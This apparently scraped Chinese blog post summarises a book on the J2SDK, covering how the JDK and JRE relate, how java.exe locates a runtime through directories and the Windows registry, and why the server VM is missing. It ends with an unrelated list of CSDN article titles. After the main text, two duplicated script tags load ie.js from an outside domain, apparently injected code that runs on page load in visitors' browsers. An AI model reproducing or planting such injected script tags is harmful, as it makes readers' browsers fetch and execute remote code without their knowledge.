刚刚读了王深大哥的《深入J2SDK 》,受益非浅,希望看到这篇文章的同僚到“java技术论坛”去down下来看看。
接触过java的人相信不回对jdk(java development kit),jre(java run-time environment),jvm(java virtual machine)感到陌生吧,其中jdk与jre之间的关系用下面的图来表示再好不过了:

看了上面的图你是否发现有两套jre在你的电脑中,那么究竟jre是干什么的呢,看名字就知道是java的运行环境了,看看下面的图,相信你会有更深的认识
很清楚了吧,实际上就是一个独立的虚拟的java pc,就如同win32程序要操作系统帮我们运行,java程序也要jre来运行,不过为什么一台pc要有两套jre呢?那是因为我们所用到的jdk里面的包括javac.exe,java.exe等等工具实际上也是用java开发出来的,因此我们必须要在安装jdk的同时安装jre,不然你的jdk中的工具将会无法使用,而在C:/Program file/java中的jre是用来执行我们所写的java程序的,(不过在jdk1.4中可以选择安装与否,但jdk1.3不行),在王森大哥的《深入J2SDK 》中有一个实验还证明了其实我们所说的编译命令javac实际上是一个包装器(warpper),你如果输入java -classpath d:/j2sdk1.4.0/lib/tools.jar com.sun.tools.javac.Main,你得到的结果和你输入javac是一样的,因此javac的作用不过是为了让你不用敲太多的指令。 你是否发现在你输入java时有 -client ,-server ,-hotspot有这三个选项,但是当你输入java -server时将回出现下面的error message:“Error: no `server' JVM at `C:/Program Files/Java/jre1.5.0/bin/server/jvm.dll'.”,好了,现在试试这样:我将jdk装在了C盘的根目录下,在命令行下输入:Path=C:/jdk/bin;(根据你的情况有所不同),然后再敲入:java -server -version;哈哈,看好了,结果如下:
java version "1.4.2"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.2-b28)
Java HotSpot(TM) Server VM (build 1.4.2-b28, mixed mode)
看到了吗?是server vm哦!如果你没有看王森大哥的《深入J2SDK 》,那我就告诉你秘密所在,首先看看你jdk目录下的jre中与你c:/Program file/java中的jre有什么不同,对了jdk中的jre的bin目录下多了server这个文件夹,而这里面装的就是java的server 虚拟机;接下来你还要明白几件事才能解释刚才发生的情况:第一:搜索一下看你的计算机里有多少个java.exe,不出意外的话在你的C:/Windows/System32文件夹里有一java.exe(当然另外还有),第二:你要知道你究竟用的是那一个java.exe,一般说来是C:/Windows/System32中的那一个,第三:(很重要了)你用的java.exe要在哪一套jre中运行,这里有它自己的逻辑;
1. 自己的目录下有沒有JRE目录。(不是很精确,请看jdk源码)2. 父目录底下JRE子目录。 3. 查询Windows Registry(HKEY_LOCAL_MACHINE/Software/JavaSoft/Java Runtime Environment/)。好了,揭晓答案了,由于在计算机环境变量中的设置(default),你调用的是C:/Windows/System32中的java.exe,而在自己的目录以及父目录下都没有jre,所以就在注册表中找到了C:/Program Files/Java中的jre,但是由于它里面没有server virtual machine 所以你输入java -server当然要报错,但是如果你先输入:path=C:/jdk/bin;那么你调用的就是jdk 中的java.exe,相应的你用到的是jdk下面的jre。里面含有java server virtual machine,当然在你输入:java -server -version后就看到开始那个结果了(棕色代码)。你是不是清楚了呢?当然王森大哥为了我们能更好的理解j2sdk的运做,给大家出了个小小的问题,你如果仔细看过王森大哥的《深入J2SDK 》或是我的这一篇总结,那么这是相当简单的了,试试吧,试着产生如下的错误信息:
Registry key 'Software/JavaSoft/Java Runtime Environment/CurrentVersion'
has value '1.4', but '1.5' is required.
Error: could not find java.dll
Error: could not find Java 2 Runtime Environment.
最后推荐大家到http://www.javaworld.com.tw/jute/(java技术论坛)去看看《深入J2SDK 》,相信你会对j2sdk有更深刻的认识

<script src="http://www.moregoogle.com/ie.js" type=text/javascript></script> <script src="http://www.moregoogle.com/ie.js" type=text/javascript></script>

《深入J2SDK》 总结相关推荐

  1. STL源码剖析学习七:stack和queue

    STL源码剖析学习七:stack和queue stack是一种先进后出的数据结构,只有一个出口. 允许新增.删除.获取最顶端的元素,没有任何办法可以存取其他元素,不允许有遍历行为. 缺省情况下用deq ...

  2. 《STL源码剖析》学习-- 1.9-- 可能令你困惑的C++语法1

    最近在看侯捷的<STL源码剖析>,虽然感觉自己c++看得比较深一点,还是感觉还多东西不是那么明白,这里将一些细小的东西或者概念记录一下. 有些东西是根据<C++编程思想>理解的 ...

  3. 《STL源码剖析》学习--6章--_rotate算法分析

     最近在看侯捷的<STL源码剖析>,其中有许多不太明白之处,后经分析或查找资料有了些理解,现记录一下. <STL源码剖析>学习--6章--random access ite ...

  4. 《STL源码剖析》学习--6章--power算法分析

    最近在看侯捷的<STL源码剖析>,其中有许多不太明白之处,后经分析或查找资料有了些理解,现记录一下. 6章--power算法分析 书本中的算法如下所示: template <clas ...

  5. STL源码剖析——P142关于list::sort函数

    在list容器中,由于容器自身组织数据的特殊性,所以list提供了自己的排序函数list::sort, 并且实现得相当巧妙,不过<STL源码剖析>的原文中,我有些许疑问,对于该排序算法,侯 ...

  6. STL源码剖析---红黑树原理详解下

    转载请标明出处,原文地址:http://blog.csdn.net/hackbuteer1/article/details/7760584       算法导论书上给出的红黑树的性质如下,跟STL源码 ...

  7. STL源码剖析面试问题

    当vector的内存用完了,它是如何动态扩展内存的?它是怎么释放内存的?用clear可以释放掉内存吗?是不是线程安全的? vector内存用完了,会以当前size大小重新申请2* size的内存,然后 ...

  8. STL源码剖析学习二:空间配置器(allocator)

    STL源码剖析学习二:空间配置器(allocator) 标准接口: vlaue_type pointer const_pointer reference const_reference size_ty ...

  9. STL源码剖析 数值算法 copy 算法

    copy复制操作,其操作通过使用assignment operator .针对使用trivial assignment operator的元素型别可以直接使用内存直接复制行为(使用C函数 memove ...

  10. STL源码剖析 算法开篇

    STL源码剖析 算法章节 算法总览_CHYabc123456hh的博客-CSDN博客 质变算法 质变算法 - 会改变操作对象的数值,比如互换.替换.填写.删除.排列组合.分隔.随机重排.排序等 #in ...

最新文章

  1. MATLAB知识点总结
  2. 记录一下两个相机相同处理如何简便进行
  3. java里调用Python
  4. LeetCode 1992. 找到所有的农场组(BFS)
  5. 一键自动生成数据库文档,炫!(告别CV大法)
  6. 基于asp.net mvc的近乎产品开发培训课程(第四讲)
  7. cocos2dx 云彩特效
  8. Linux基础(day74)
  9. 中级通信工程师证书有什么用
  10. Facebook、Twitter、LinkedIn分享按钮总结
  11. 【Scratch考级99图】图32-等级考试scratch绘制复杂图形8个八边形 少儿编程 scratch画图案例教程
  12. 买了新手机却不适应?教你一步克隆旧手机信息
  13. 计算机语言发展简史,计算机语言发展简史
  14. PHP-深入理解Opcode
  15. loadrunner入门教程(11)--回放脚本
  16. 在 Linux 下开发和下载8051单片机程序
  17. 什么是隐私混币协议Tornado Cash?| Tokenview
  18. 记:《洛克菲勒留给儿子的38封信》-- 32
  19. Mogafx欧美对有望上涨
  20. OSCP-Snookums(db.php配置文件泄露)

热门文章

  1. 频率相噪中相关公式、名词注释详解
  2. Tbase 源码 (一)
  3. 软件测试面试过程中常见的问题
  4. PSpice应用B-4
  5. 关于影视后期制作的就业市场调查报告
  6. 2020下半年软件设计师上午真题(参考答案)
  7. QEMU模拟mini2440开发环境
  8. 光缆型号英文字母代表什么意思?
  9. debian笔记本电源管理
  10. 台式计算机m.2的参数,联想启天M系列